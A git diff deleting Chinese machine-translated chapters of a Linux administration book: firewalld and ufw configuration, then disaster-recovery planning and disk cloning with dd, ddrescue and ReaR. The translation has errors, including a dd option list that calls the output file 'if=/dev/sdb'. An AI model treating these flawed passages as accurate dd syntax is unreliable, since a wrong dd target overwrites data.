--get-active-zones -``` - -在我们的例子中,输出如下: - -![Figure 9.57 – The firewalld active zones](img/B13196_09_57.jpg) - -图 9.57 - firewaldactive 区域 - -*接口*表示连接到本地主机的网络适配器。 活动接口被分配到缺省区域或用户自定义区域。 一个接口不能加入多个安全区域。 - -*源*是入方向的 IP 地址或地址范围,也可以分配到区域中。 单个源或多个重叠 IP 地址范围不能分配给多个安全区域。 这样做将导致未定义的行为,因为它将不清楚哪个规则优先于相关区域。 - -缺省情况下,`firewalld`将所有网络接口分配到`public`区域,不关联任何源。 而且,在默认情况下,`public`是唯一的活动区域,因此是默认区域。 显示默认的 zone: - -```sh -sudo firewall-cmd --get-default-zone -``` - -默认输出如下: - -![Figure 9.58 – Displaying the default zone in firewalld](img/B13196_09_58.jpg) - -图 9.58 -在防火墙中显示默认区域 - -可选参数。 因此,对于每个数据包,将有一个区域与匹配的网络*接口*。 但是,不一定有匹配的*源*的区域。 该范例将在匹配规则的评估顺序中发挥重要作用。 我们将在*规则优先*部分讨论相关主题。 但首先,让我们先熟悉一下`firewalld`*规则*。 - -### 规则 - -`firewalld`配置中定义的*规则*或`rich`规则表示控制与特定*区域*关联的数据包的配置设置。 通常,一个规则会根据一些标准来决定数据包是被接受还是被拒绝。 - -例如,要阻止`public`区域使用 ping (ICMP 协议),我们可以添加以下`rich`规则: - -```sh -sudo firewall-cmd --zone=public --add-rich-rule='rule protocol value="icmp" reject' -``` - -相关输出如下: - -![Figure 9.59 – Disabling ICMP access with firewalld](img/B13196_09_59.jpg) - -图 9.59 -使用防火墙禁用 ICMP 访问 - -我们可以使用以下命令检索`public`区域信息: - -```sh -sudo firewall-cmd --info-zone=public -``` - -`rich`rules 属性反映更新后的配置: - -![Figure 9.60 – Getting the public zone configuration with firewalld](img/B13196_09_60.jpg) - -图 9.60 -使用防火墙获取公共区域配置 - -此时,我们的主机将不再响应 ping (ICMP)请求。 我们可以通过以下命令删除刚刚添加的规则: - -```sh -sudo firewall-cmd --zone=public --remove-rich-rule='rule protocol value="icmp" reject' -``` - -或者,我们可以使用以下命令启用 ICMP 访问: - -```sh -sudo firewall-cmd --zone=public --add-rich-rule='rule protocol value="icmp" accept' -``` - -请注意,没有`firewall-cmd`实用程序的`--permanent`选项所做的更改是暂时的,在系统或`firewalld`重启后不会持续。 - -当*区域*没有定义或匹配`rich`规则时,`firewalld`使用区域*目标*控制报文的行为。 下面让我们来看看*target*。 - -### 目标 - -当报文匹配特定的区域时,`firewalld`根据相应区域的`rich`规则控制报文的行为。 如果没有定义`rich`规则,或者没有`rich`规则与数据包匹配,则数据包的行为最终由区域关联的`target`决定。 可能的目标值如下: - -* `ACCEPT`:接收报文 -* `REJECT`:拒绝报文,返回拒绝应答 -* `DROP`:没有回复就丢弃数据包 -* `default`:遵循`firewalld`的默认行为 - -*区域*、*规则*、*目标*是`firewalld`分析和处理数据包时使用的关键配置元素。 数据包使用*区域*进行匹配,然后使用*规则*或*目标*进行操作。 由于*区域*-基于网络*接口*和 IP 地址/范围*源*的双重特性,`firewalld`在计算匹配标准时遵循特定的顺序(或优先级)。 我们接下来再看这个。 - -### 规则优先级 - -让我们先定义术语。 我们将与接口相关联的区域称为*接口区域*。 与源相关联的区域称为*源区域*。 由于区域可以同时具有接口和源,因此一个区域可以作为*接口区域*、*源区域、*或两者兼有。 - -`firewalld`处理数据包的顺序如下: - -1. 查看对应的*源区域*。 最多将有一个这样的区域(因为源只能与单个区域关联)。 如果匹配,则按照区域关联的*规则*或*目标*处理报文。 否则,下一步进行数据包分析。 -2. 查看对应的接口区域*。 恰好有一个这样的区域(总是)存在。 如果匹配,则根据区域的*规则*或*目标*处理数据包。 否则,下一步将进行报文验证。* - - *让我们假设默认目标为`firewalld`——它接受 ICMP 数据包,拒绝其他所有数据包。 - -从前面的验证工作流中可以得到的关键信息是,**源区域**优先于**接口区域**。 多区域`firewalld`配置的典型设计模式定义了以下区域: - -* **特权源区域**:从选择的 IP 地址提升系统访问 -* **限制接口区域**:限制其他所有人的访问 - -让我们使用`firewall-cmd`实用程序来探索一些潜在的有用示例。 - -显示防火墙中已开启的服务。 - -```sh -sudo firewall-cmd --list-services -``` - -使用默认配置,我们得到以下输出: - -![Figure 9.61 – Displaying the enabled services in firewalld](img/B13196_09_61.jpg) - -图 9.61 -显示防火墙中启用的服务 - -启用 HTTPS 访问(端口`443`): - -```sh -sudo firewall-cmd --zone=public --add-service=https -``` - -要添加用户定义的服务或端口(例如`8443`),我们可以运行以下命令: - -```sh -sudo firewall-cmd --zone=public --add-port=8443/tcp -``` - -下面的命令列出了防火墙中开放的端口: - -```sh -sudo firewall-cmd --list-ports -``` - -在我们的例子中,输出如下: - -![Figure 9.62 – Displaying the enabled ports in firewalld](img/B13196_09_62.jpg) - -图 9.62 -在防火墙中显示已启用的端口 - -在没有`--permanent`选项的情况下调用`firewall-cmd`命令会导致在系统(或`firewalld`)重启后不会持续的瞬时更改。 要重新加载先前保存的`firewalld`(永久)配置,我们可以运行以下命令: - -```sh -sudo firewall-cmd --reload -``` - -有关`firewalld`的更多信息,请参考相关系统参考(`man firewalld`)或[https://www.firewalld.org](https://www.firewalld.org)。 - -### 使用查 - -**简单防火墙**(**ufw**)是 Ubuntu 中的默认防火墙管理器。 `ufw`为`iptables`和`netfilter`提供了一个相对简单的管理框架,并为操作防火墙提供了一个易于使用的命令行界面。 - -让我们看几个使用`ufw`的例子。 请注意,`ufw`命令行实用程序需要超级用户特权。 下面的命令报告了`ufw`的状态: - -```sh -sudo ufw status -``` - -缺省情况下,`ufw`为`inactive`(未启用): - -![Figure 9.63 – Displaying the current status of ufw](img/B13196_09_63.jpg) - -图 9.63 -显示 ufw 的当前状态 - -我们可以使用以下命令启用`ufw`: - -```sh -sudo ufw enable -``` - -当您启用防火墙或执行任何可能影响您访问系统的更改时,始终要小心。 默认情况下,当启用`ufw`时,将阻止除 ping (ICMP)请求外的所有传入访问。 如果你用 SSH 登录,当你试图启用`ufw`时,你可能会得到以下提示: - -![Figure 9.64 – Enabling ufw could disrupt existing connections](img/B13196_09_64.jpg) - -图 9.64 -启用 ufw 可能会中断现有的连接 - -为了安全起见,您可能想要通过按`n`(`No`)并在防火墙中启用 SSH 访问来中止上述操作: - -```sh -sudo ufw allow ssh -``` - -如果已经启用 SSH 访问,则不添加相关的安全规则: - -![Figure 9.65 – Attempting to add an existing rule to ufw](img/B13196_09_65.jpg) - -图 9.65 -尝试添加一个现有的规则到 ufw - -此时,您可以安全地启用`ufw`,而不必担心当前或现有的 SSH 连接会被删除。 启用`ufw`后,我们得到如下输出: - -![Figure 9.66 – Enabling ufw](img/B13196_09_66.jpg) - -图 9.66 -启用 ufw - -查看防火墙的详细状态,可以使用如下命令: - -```sh -sudo ufw status verbose -``` - -显示如下信息,说明 SSH(`22/tcp`)和 HTTP/HTTPS(`80,443/tcp`)访问已开启。 - -![Figure 9.67 – The detailed status of ufw](img/B13196_09_67.jpg) - -图 9.67 - ufw 的详细状态 - -如我们所见,HTTP/HTTPS 访问是通过`Nginx Full`应用概要文件启用的。 该规则被 Nginx 安装自动添加到`ufw`中。 请注意,其他客户机或服务器应用也可能向`ufw`添加此类规则。 总是建议检查您的防火墙设置,以确保无意访问系统是不允许的。 - -我们可以用下面的命令列出当前的应用安全配置文件: - -```sh -sudo ufw app list -``` - -在我们的例子中,输出如下: - -![Figure 9.68 – Listing application security profiles in ufw](img/B13196_09_68.jpg) - -图 9.68 -在 ufw 中列出应用安全配置文件 - -要删除特定服务(如 HTTP)的访问,可以运行以下命令: - -```sh -sudo ufw deny http -``` - -输出显示添加了一个新规则*:* - - *![Figure 9.69 – Disabling HTTP access in ufw](img/B13196_09_69.jpg) - -图 9.69 -在 ufw 中禁用 HTTP 访问 - -随后的详细状态检查将显示对端口`80/tcp`的访问被拒绝。 然而,结果却有些复杂: - -![Figure 9.70 – Complex rules in ufw](img/B13196_09_70.jpg) - -图 9.70 - ufw 中复杂的规则 - -我们只在中突出显示了涉及 HTTP 访问的 IPv4 对等规则。 在我们的例子中,我们有两个控制 HTTP 访问的规则: - -```sh -80,443/tcp (Nginx Full)  ALLOW IN  Anywhere -80/tcp                   DENY IN   Anywhere -``` - -通过只关注 HTTP,我们可以看到第一条规则*允许*从任何地方访问 HTTP。 第二个规则*拒绝*从任何地方访问 HTTP。 结果规则:HTTP*允许*从任何地方开始。 为什么? 因为符合标准的*第一个*规则获胜。 匹配相同标准(即*从任何地方*访问 80/tcp)的后续规则将被丢弃。 - -重要提示 - -总是把更具体的*(限制性)规则放在首位。 在添加或更改规则时,您可能需要删除旧条目或重新排列它们的顺序,以确保规则被适当地放置和评估。* - - *在本例中,我们需要删除`Nginx Full`规则。 请记住,该规则还支持 HTTPS 访问(`443/tcp`),我们可能希望保留该规则。 为了以正确的顺序恢复规则,让我们先得到规则列表的`numbered`输出: - -```sh -sudo ufw status numbered -``` - -输出结果如下: - -![Figure 9.71 – Numbered list of rules in ufw](img/B13196_09_71.jpg) - -图 9.71 - ufw 规则编号列表 - -这些规则的顺序是由序列号提示的。 接下来,我们将使用相应的规则 ID(`1`)删除`Nginx Full`规则: - -```sh -sudo ufw delete 1 -``` - -我们会得到一个提示来批准这个操作: - -![Figure 9.72 – Deleting a rule in ufw](img/B13196_09_72.jpg) - -图 9.72 -在 ufw 中删除一个规则 - -防火墙现在的状态如下: - -![Figure 9.73 – The firewall's status after removing the Nginx Full application profile in ufw](img/B13196_09_73.jpg) - -图 9.73 -在 ufw 中删除 Nginx Full 应用配置文件后防火墙的状态 - -同样,我们删除相应的 IPv6 配置文件`Nginx Full (v6)`,并删除相应的 ID(`3`)。 请注意,规则列表已经在之前的`ufw delete`操作中重新创建: - -```sh -sudo ufw delete 3 -``` - -现在,它是安全的重新添加`Nginx HTTPS`配置文件到*只有*启用 HTTPS 访问(`443/tcp`): - -```sh -sudo ufw allow 'Nginx HTTPS' -``` - -最终状态现在产生以下输出: - -![Figure 9.74 – More specific rules should go first in ufw](img/B13196_09_74.jpg) - -图 9.74 -在 ufw 中应该先使用更具体的规则 - -如我们所见,更具体的(限制性的)规则(`80/tcp DENY`)首先出现(仅针对 IPv4 突出显示)。 我们甚至可以允许`Nginx Full`配置文件,它将启用 HTTP 访问。 然而,相应的规则(`80/tcp ALLOW`)将被放在更具限制性的对应规则之后,因此被丢弃。 - -或者,我们可以使用`insert`选项在给定位置添加特定规则。 例如,下面的命令将`80/tcp DENY`规则放置在第二位置(如上图所示): - -```sh -sudo ufw insert 2 deny http -``` - -让我们再看几个使用`ufw`的例子。 从特定的源地址范围(`192.168.0.0/24`)开启所有协议(`any`)的 SSH 访问(端口`22`): - -```sh -sudo ufw allow from 192.168.0.0/24 to any port 22 -``` - -启用`ufw`日志: - -```sh -sudo ufw logging on -``` - -相应的日志痕迹通常在`/var/log/syslog`中: - -```sh -grep -i ufw /var/log/syslog -``` - -下面的日志跟踪表明失败(`UFW BLOCK`)从源地址(`SRC=172.16.191.1`)到我们的目的地地址(`DST=172.16.191.4`),针对 HTTP 服务端口`80`(`DPT=80`),使用 TCP 协议(`PROTO=TCP`): - -![Figure 9.75 – Analyzing ufw logs ](img/B13196_09_75.jpg) - -图 9.75 -分析 ufw 日志 - -禁用`ufw`日志记录功能。 - -```sh -sudo ufw logging off -``` - -下面的命令将`ufw`恢复为系统默认值: - -```sh -sudo ufw reset -``` - -执行上述命令将导致删除所有规则并禁用`ufw`。 - -有关`ufw`的更多信息,您可能希望在[https://help.ubuntu.com/community/UFW](https://help.ubuntu.com/community/UFW)中查看*UFW 社区帮助*或相关的系统参考(`man ufw`)。 - -与较低级别的包过滤实用程序(例如`netfilter`、`iptables`和`nftables`)相比,防火墙管理工具(如`ufw`和`firewalld`)的使用可能对某些 Linux 管理员更有吸引力。 除了平台考虑之外,选择一种工具而不是另一种工具的一个理由是与脚本和自动化功能有关。 一些高级用户可能认为`nft`命令行实用程序是设计防火墙规则的首选工具,因为`nftables`提供了粒度控制。 其他用户可能倾向于使用`iptables`,特别是在旧的遗留平台上。 最后,这是一个选择或偏好的问题,因为所有这些工具都能够在大致相同的程度上配置和管理防火墙。 - -让我们以一些最后的考虑来结束本章。 - -# 总结 - -这一章的内容相当丰富,可能显得令人难以应付。 一个关键的要点应该是关注*框架*(*模块*)。 如果我们正在讨论防火墙,我们应该看看包过滤框架,如`iptables`、`netfilter`和`nftables`。 对于访问控制,我们有 SELinux 和 AppArmor 等安全模块。 我们讨论了每种方法的优缺点。 关键的选择是在 AppArmor 和 SELinux 之间,这可能决定了 Linux 发行版。 其中一个可能比另一个更快,因为相关政府的努力悬而未决。 例如,选择 AppArmor 可以将主要的 Linux 发行版缩小到 Ubuntu、Debian 和 OpenSUSE。 反过来,发行版的选择将进一步决定可用的防火墙管理解决方案,等等。 - -掌握应用安全性框架和防火墙管理工具将帮助您以最小的努力保持系统的安全。 与任何典型的 Linux 系统管理任务一样,有许多方法可以保护您的系统。 我们希望您将在本章中介绍的探索性知识和工具的基础上,做出一个关于保持系统安全的平衡决策。 - -下一章将通过介绍灾难恢复、诊断和故障排除实践,进一步提高系统的安全性和保护。 - -# 问题 - -这里有一个关于本章中涉及到的一些基本概念的小测验: - -1. 列举至少两个在 Linux 中使用的 acm。 -2. 枚举 SELinux 安全上下文的字段。 -3. SELinux 中的*域*是什么? -4. 您能想到 SELinux 和 AppArmor 在执行安全策略方面的显著区别吗? -5. 用于检索当前应用概要文件的 AppArmor 命令行实用程序是什么? -6. 我们如何在`enforce`和`complain`模式之间切换 AppArmor 应用配置文件? -7. 在 Linux 内核网络堆栈中,您能想到多少条链? -8. RHEL/CentOS 8 的默认防火墙管理解决方案是什么? Ubuntu 怎么样? -9. 您能想到设计防火墙规则的最佳实践吗? -10. 如果你必须选择一个包过滤框架,你会选择哪个? 为什么? - -# 进一步阅读 - -有关本章所涵盖的主题,请参阅以下资料: - -* *掌握 Linux 安全加固-第二版*,*Donald A. Tevault*,*packagpublishing* -* *Practical Linux Security Cookbook - Second Edition*,*Tajinder Kalsi*,*packpublishing* -* *Practical Linux Security (video)*,*Tajinder Kalsi*,*Packt Publishing* -* *Linux 防火墙:通过 nftables 和 Beyond 增强安全性-第 4 版*,*Steve Suehring*,*addion - wesley Professional************** \ No newline at end of file diff --git a/docs/master-linux-admin/10.md b/docs/master-linux-admin/10.md deleted file mode 100644 index 6385cf9f..00000000 --- a/docs/master-linux-admin/10.md +++ /dev/null @@ -1,748 +0,0 @@ -# 十、灾难恢复、诊断和故障处理 - -在本章中,您将学习如何在灾难恢复场景中执行系统备份和恢复,以及如何诊断和排除一系列常见问题。 如果每个 Linux 系统管理员希望为最坏的情况(如停电、盗窃或硬件故障)做好准备,那么他们都需要掌握这些技能。 世界的 IT 骨干运行在 Linux 上,我们需要为生活中遇到的任何事情做好准备。 - -在本章中,我们将涵盖以下主要主题: - -* 灾难恢复计划 -* 备份和恢复系统 -* 介绍常见的 Linux 故障诊断工具 - -# 灾难恢复规划 - -风险管理是每个企业或个人的一项重要资产。 这对于参与系统管理的每个人来说都是巨大的责任。 对所有企业来说,风险管理应该是更广泛的**风险管理策略**的一部分。 IT 领域存在各种类型的风险,从直接影响数据中心或业务地点的自然灾害开始,一直到网络安全威胁。 IT 在公司内部的足迹在过去十年中呈指数级增长。 现在,没有一项活动在其背后不涉及某种类型的 IT 操作,无论是在小企业、大公司、政府机构,还是卫生或教育公共部门,只是举几个例子。 每个活动都有其独特的方式,所以它需要特定类型的评估。 不幸的是,风险管理(主要是关于信息安全领域)演变成一种通用的实践,它基于 IT 管理应该实现的检查清单。 - -## 非常简短的风险管理介绍 - -什么是风险管理? 简而言之,风险管理由特定的操作组成,这些操作旨在减轻任何可能影响企业整体连续性的威胁。 风险管理过程对每个 IT 部门都至关重要。 - -作为一个基础,一个**风险管理策略**应该有五个不同的步骤: - -1. **识别风险**:识别可能影响您正在进行的 IT 操作的可能威胁和漏洞。 -2. **分析风险**:在深入研究的基础上,决定风险的大小。 -3. **评估风险**:这都是关于评估风险对您的操作可能产生的影响; 立即采取的行动是根据风险的影响对其作出反应。 这需要在操作的每个级别上执行真正的操作。 -4. **应对风险**:这将激活您的**灾难恢复计划****(DRPs)**,结合预防和减轻风险的策略。 -5. **风险监测与评估**:必须采取严厉的监测与评估策略。 这将确保所有 IT 团队都知道如何应对风险,并且拥有隔离风险和执行公司基础设施的工具和能力。 - -风险管理框架最初出现在美国是由于 2002 年开始实施的**联邦信息系统现代化法案****(FISMA)**法律。 这是美国**国家标准与技术研究所(NIST)**开始为网络安全评估在所有美国政府机构中创建新标准和方法的时候。 因此,安全认证和合规性对每一个 Linux 发行版提供商来说都是至关重要的,因为它们认为自己是企业和政府领域中有价值的竞争对手。 与之前讨论的美国认证机构类似,英国和俄罗斯也有其他机构开发特定的安全认证。 - -在这方面,所有主要从 Red Hat Linux 分布,SUSE,从国家标准和规范的认证,英国国家网络安全中心****(成都市)**或**俄罗斯联邦服务技术和出口控制**【显示】(FSTEC)。** - - **风险管理框架,根据 NIST SP 800 - 37 - r2 (NIST 官方网站:https://csrc.nist.gov/publications/detail/sp/800-37/rev-2/final),有七个步骤,开始准备框架的执行,监控组织的系统每天。 我们不会详细讨论这些步骤; 相反,我们将在本章的末尾提供 NIST 官方文档的链接。 简而言之,风险管理框架由几个重要的分支组成,例如: - -* **库存**:对所有可用的现场系统进行彻底的库存,以及所有软件解决方案的列表。 -* **系统分类**:此评估与可用性、完整性和机密性有关的每个数据类型的影响级别。 -* **安全控制**:须详细程序对成百上千的计算机系统的安全,NIST 的安全控制下可以找到 SP800-53r4(下面是一个链接到 NIST 官方网站:https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/final)。 -* **风险评估**:一个系列步骤,涵盖威胁源识别、漏洞识别、影响确定、信息共享、风险监控和定期更新。 -* **系统安全计划**:基于每次安全控制以及如何评估未来行动,包括其实施和有效性的报告。 -* **认证、认可、评估和授权**:审查安全的过程评估并突出未来行动计划中详细列出的安全问题和有效决议。 -* **行动计划**:这是一个工具,用于跟踪安全弱点并应用正确的响应程序。 - -当涉及到信息技术时,存在许多类型的风险,包括硬件故障、软件错误、垃圾邮件和病毒、人为错误以及自然灾害(火灾、洪水、地震、飓风等)。 还有一些更具有犯罪性质的风险,包括安全漏洞、告密者、员工不诚实、企业间谍或其他任何可以被视为网络犯罪的风险。 - -风险评估对于任何业务都是极其重要的,IT 管理人员应该非常认真地对待风险评估。 既然我们已经解决了风险评估的一些概念,现在是时候解释它到底是什么了。 风险评估又称风险计算或风险分析。 - -## 风险计算 - -风险评估是为可能的威胁和漏洞寻找和计算解决方案的行动。 每个解决方案都具有一定的影响业务的影响。 在风险评估级别上,了解这种影响的公式是有用的。 以下是一些你在谈论风险影响时应该知道的基本术语: - -* **年预期损失****(ALE)**,其中定义 1 年内预期的损失。 -* **单次损失预期值****(SLE)**,其中表示任何给定时间的预期损失。 -* **年发生率****(ARO)**是指一年内发生危险事件的可能性。 -* **风险计算公式**为 SLE x ARO = ALE。 公式中的每个元素都将提供一个货币值,因此最终结果也表示为货币值。 -* **平均故障间隔时间****(MTBF)**用于度量预期故障与可修复故障之间的时间。 -* **平均故障时间****(MTTF)**是不可修复故障的平均时间。 -* **平均恢复时间****(MTTR)**衡量受影响系统修复所需的时间。 -* **恢复时间目标****(RTO)**表示为停机分配的最大时间。 -* **恢复点目标****(RPO)**定义了系统需要恢复的时间。 - -了解这些术语将帮助您理解风险评估,以便您可以在需要时或在需要时执行完整的文档化评估。 风险评估基于两种主要类型的行动(或者更好的说法,策略):主动行动和非主动行动。 - -主动采取的措施如下: - -* **风险规避**:基于风险识别和寻找快速解决方案以避免其缓解 -* **风险缓解**:基于为减少可能风险的发生而采取的行动 -* **风险转移**:与外部实体分享风险可能的结果 -* **风险威慑**:在可能发生的风险发生之前,用恐吓的行动打击 - -唯一的非主动动作如下: - -* **风险接受**:如果其他主动行动可能超过风险所造成的损害的成本,则接受风险。 - -这里描述的策略可以应用于与通用的本地计算相关的风险,但现在,云计算正在缓慢而肯定地接管世界。 那么,这些风险策略如何应用到云计算中呢? 在云计算中,您使用第三方的基础设施,但使用您自己的数据。 虽然我们将在[*第十二章*](12.html#_idTextAnchor212)、*云计算要领*中开始讨论云计算中的 Linux,但我们现在将介绍一些概念。 正如我们前面提到的,云将基础设施操作从本地环境转移到更大的参与者,如 Amazon、Microsoft 或谷歌。 这通常可以被视为外包。 这意味着当您在本地运行服务时的一些威胁现在转移到第三方。 - -现在有三种主要的云模式已经成为科技媒体的热门词汇: - -* **软件即服务****(SaaS)**:针对希望降低 IT 成本并依赖软件订阅的公司的解决方案。 一些的 SaaS 解决方案包括**Slack**、**Microsoft 365**、**谷歌 Apps**和**Dropbox**等。 -* **平台即服务****(PaaS)**:你得到客户应用使用另一个国家的基础设施,运行时,和依赖关系也被称为应用平台。 此可以在公共云上、私有云上或混合解决方案上。 一些 PaaS 的例子**微软 Azure【病人】,**AWSλ**,**谷歌应用引擎【t16.1】,**SAP 云平台**,**Heroku**,**Red Hat OpenShift**。**** -* **基础设施即服务****(IaaS)**:这些是在线运行的服务,提供高级的**应用编程接口****(api)**。 其中值得注意的示例为**OpenStack**。 - -关于所有这些技术的详细信息将在[*第 12 章*](12.html#_idTextAnchor212)、*云计算要点*中提供,但对于本章的目的,我们已经提供了足够的信息。 云计算的主要风险在于数据集成和兼容性。 这些都是您仍然必须克服的风险,因为大多数其他风险不再是您所关心的,它们已转移给管理基础设施的第三方。 风险计算可以通过不同的方式进行管理,这取决于公司使用的 IT 场景。 当您使用本地场景并在内部管理所有组件时,风险评估变得相当具有挑战性。 当您使用 IaaS、PaaS 和 SaaS 场景时,随着职责逐渐转移到外部实体,风险评估变得不那么具有挑战性。 - -任何关心网络和系统安全的个人或每一个 IT 经理都应该认真对待风险评估。 这时就要执行灾难恢复计划。 一个好的灾难恢复计划和策略的基础是有一个有效的风险评估。 - -## 设计容灾恢复计划 - -一个**灾难恢复计划****(DRP)**是围绕事故发生时应该采取的步骤构建的。 在大多数情况下,灾难恢复计划是业务连续性计划的一部分。 这决定了一个公司应该如何继续在一个运行的基础设施上运行。 - -每个灾难恢复计划都需要从开始,首先是**准确的硬件清单**,然后是软件应用清单和单独的数据清单。 这其中最重要的部分是为了备份所有使用过的信息而设计的策略。 - -就所使用的硬件而言,必须有一个针对标准化硬件的明确策略。 这将确保故障硬件可以很容易地被替换。 这种策略确保了一切都能工作并得到优化。 标准化硬件当然有很好的驱动程序支持,这在 Linux 世界中是非常重要的。 然而,使用标准化硬件将极大地限制诸如**带自己的设备****(BYOD)**等实践,因为员工只需要使用雇主提供的硬件。 使用标准化硬件的同时,还需要使用特定的软件应用,这些软件应用由公司的 IT 部门设置和配置,用户提供的输入有限。 - -IT 部门的责任是巨大的,他们在将 IT 恢复策略设计为灾难恢复计划的一部分时扮演着重要的角色。 关键**公差**停机时间和损失的数据应该基于定义的最小可接受的****恢复点目标(RPO)**和【显示】恢复时间目标**(RTO)**。** - - **确定**角色**(谁负责什么)是一个好的灾难恢复计划的另一个关键步骤。 这样,实施计划的响应时间就会大大缩短,并且在发生风险的时候,每个人都知道自己的责任。 在这种情况下,有一个好的沟通策略是至关重要的。 在组织金字塔的每一层执行清晰的程序将提供清晰的沟通、集中的决策和后备人员的继任计划。 - -灾难恢复计划需要每年至少进行两次彻底测试,以证明其效率。 计划外的停机和中断会对业务产生负面影响,无论是在企业内部还是在任何多云环境中。 为最坏的情况做好准备是很重要的。 因此,在下面几节中,我们将向您展示一些用于故障诊断 Linux 的最佳工具和实践。 - -# 备份和恢复系统 - -灾难可能随时发生。 风险无处不在。 在这方面,备份您的系统是极其重要的,需要定期进行。 实践良好的预防总是比从数据丢失中恢复更好,并通过艰苦的方式了解这一点。 - -备份和恢复需要基于深思熟虑的策略,并需要考虑 RTO 和 RPO 因素。 RTO 应该回答一些基本问题,比如恢复丢失的数据的速度有多快,以及这将如何影响业务操作,而 RPO 应该回答一些问题,比如您可以承受多少数据丢失。 - -备份有不同的类型和方法。 以下是一些例子: - -![Figure 10.1 – Backup methods and types](img/B13196_10_01.jpg) - -图 10.1 -备份方法和类型 - -在做备份时,请记住以下规则: - -* **321 规则**,这意味着您应该始终在两个独立的媒体上保存三个数据副本。 一个备份应该始终保持在站点之外(在不同的地理位置)。 这也被称为“三规则”;它可以适用于任何东西,如 312、322、311 或 323。 -* **备份检查**是非常相关的,但大多数时候被忽略了。 它检查数据的完整性和有效性。 -* 清晰且文档化的备份策略和流程对 IT 团队中使用相同实践的每个人都是有益的。 - -在下一节中,我们将介绍一些用于完全 Linux 系统备份的知名工具,从集成在操作系统内部的工具开始,到同样适用于家庭和企业使用的第三方解决方案。 - -## 磁盘克隆解决方案 - -对于备份,一个好的选择是克隆整个硬盘驱动器或保存敏感数据的几个分区。 Linux 为这项工作提供了大量多才多艺的工具。 其中有`dd`命令、`ddrescue`命令和**放松恢复****(ReaR)**软件工具。 - -### dd 命令 - -最知名的磁盘备份命令之一是`dd`命令。 我们在前面的[*第六章*](06.html#_idTextAnchor111),*Working with Disks and Filesystems*中讨论过这个问题。 让我们回顾一下如何在备份和恢复场景中使用它。 `dd`命令用于一个块一个块地从源文件系统复制到目标文件系统,而不考虑文件系统类型。 - -让我们学习如何克隆整个磁盘。 我们在网络上有一个系统,它有一个 120gb 的 SSD 驱动器,我们想把它备份到 128gb 的 u 盘上。 使用`dd`命令,我们需要确保源文件适合目标文件。 由于我们的磁盘大小非常相似,首先,我们将运行`fdisk -l`命令来确保磁盘大小是正确的: - -![Figure 10.2 – Using fdisk -l to verify the source disk's size](img/B13196_10_02.jpg) - -图 10.2 -使用 fdisk -l 来验证源磁盘的大小 - -在上图中可以看到源磁盘的大小。 目标磁盘的屏幕截图如下: - -![Figure 10.3 – Using fdisk -l to verify the destination disk's size](img/B13196_10_03.jpg) - -图 10.3 -使用 fdisk -l 来验证目标磁盘的大小 - -既然我们知道大小是合适的,并且源文件可以放入目标文件中,我们将继续克隆整个磁盘。 我们将源磁盘`/dev/sda`克隆到目标磁盘`/dev/sdb`: - -![Figure 10.4 – Using dd to clone an entire hard drive](img/B13196_10_04.jpg) - -图 10.4 -使用 dd 克隆整个硬盘 - -命令中显示的选项如下: - -* `if=/dev/sda`表示输入文件,在本例中是源硬盘驱动器。 -* `if=/dev/sdb`表示输出文件,即目标 USB 驱动器。 -* 表示允许命令继续忽略错误的指令。 -* `sync`表示用 0 填充输入错误块的指令,以便始终同步数据偏移量。 -* `status=progress`显示关于传输过程的统计信息。 - -请记住,这个操作可能需要一段时间才能完成。 在我们的系统中,完成这个任务需要 200 分钟。 我们在操作只完成了一半的情况下拍摄了前面的截图。 在下一节中,我们将向您展示如何使用`ddrescue`。 - -### ddrescue 命令 - -`ddrescue`命令是另一个可以用于克隆磁盘的工具。 该工具从一个设备或文件复制到另一个设备或文件,第一次尝试只复制良好和正常的部分。 如果您的磁盘出现故障,您可能需要使用`ddrescue`两次,因为第一次它将只复制正常扇区并将错误映射到目标文件。 第二次,它将只复制坏扇区,所以最好为几次读取尝试添加一个选项,以确保无误。 在 Ubuntu 上,没有默认安装`ddrescue`实用程序。 要安装它,使用以下`apt`命令: - -```sh -sudo apt install gddrescue -``` - -我们将在以前使用的相同系统上使用`ddrescue`并克隆相同的驱动器。 命令如下: - -```sh -sudo ddrescue -n /dev/sda /dev/sdb rescue.map --force -``` - -输出如下: - -![Figure 10.5 – Using ddrescue to clone the hard drive](img/B13196_10_05.jpg) - -图 10.5 -使用 ddrescue 克隆硬盘 - -我们使用带有`--force`选项的`ddrescue`命令来确保目的地上的所有内容都将被覆盖。 这个操作也很耗时,所以要做好准备,这将是一个漫长的操作。 在我们的例子中,它几乎花了 1 个小时完成。 接下来,我们将向您展示如何使用另一个有用的工具:ReaR 实用程序。 - -### 使用 Relax-and-Recover(后) - -**ReaR**是用 Bash 编写的功能强大的灾难恢复和系统迁移工具。 它被企业级发行版(如 RHEL 和 SLES)所使用,也可以安装在 Ubuntu 上。 它被设计为易于使用和设置。 它与本地引导加载程序集成,以及`cron`调度程序或监控工具,如**Nagios**。 欲了解更多详情,请访问官方网站[http://relax-and-recover.org/about/](http://relax-and-recover.org/about/)。 - -要在 Ubuntu 上安装它,使用以下命令: - -```sh -sudo apt install rear -``` - -安装包之后,您需要知道主配置文件的位置。 它被称为`/etc/rear/local.conf`,所有的配置选项都应该写入其中。 ReaR 默认生成 ISO 文件,但它也支持 Samba (CIFS)、USB 和 NFS 作为备份目的地。 - -#### 使用 ReaR 备份到本地 NFS 服务器 - -作为示例,我们将向您展示如何备份到 NFS 服务器。 在我们的网络上,我们已经在我们的一台 Ubuntu 机器(Neptune)上设置了一个 NFS 服务器,这意味着我们将能够使用它作为我们的备份服务器,并将本地华硕系统作为要备份的生产机器。 - -首先,我们必须相应地配置 NFS 服务器。 我们希望您仍然记得如何配置 NFS 共享(在[*第 8 章*](08.html#_idTextAnchor152)、*配置 Linux 服务器*中介绍),但如果您不记得,这里有一个简短的提示。 NFS 的配置文件是`/etc/exports`,它存储关于共享位置的信息。 在添加任何关于 ReaR 备份共享位置的新信息之前,请先添加一个新目录。 在首次设置 NFS 服务器时,我们使用了`/home/export/`目录。 在该目录中,我们将为我们的 rear 备份创建一个新目录。 创建新目录的命令如下: - -```sh -sudo mkdir /home/export/rear -``` - -现在,更改目录的所有权。 如果所有者保持`root`,ReaR 将没有权限将备份写到此位置。 使用以下命令更改所有权: - -```sh -sudo chown -R nobody:nogroup /home/export/rear/ -``` - -创建目录之后,使用您喜欢的编辑器打开`/etc/exports`文件,并为备份目录添加一个新行。 它应该看起来像下面截图中的最后一个: - -![Figure 10.6 – Adding a new line to the /etc/exports NFS file](img/B13196_10_06.jpg) - -图 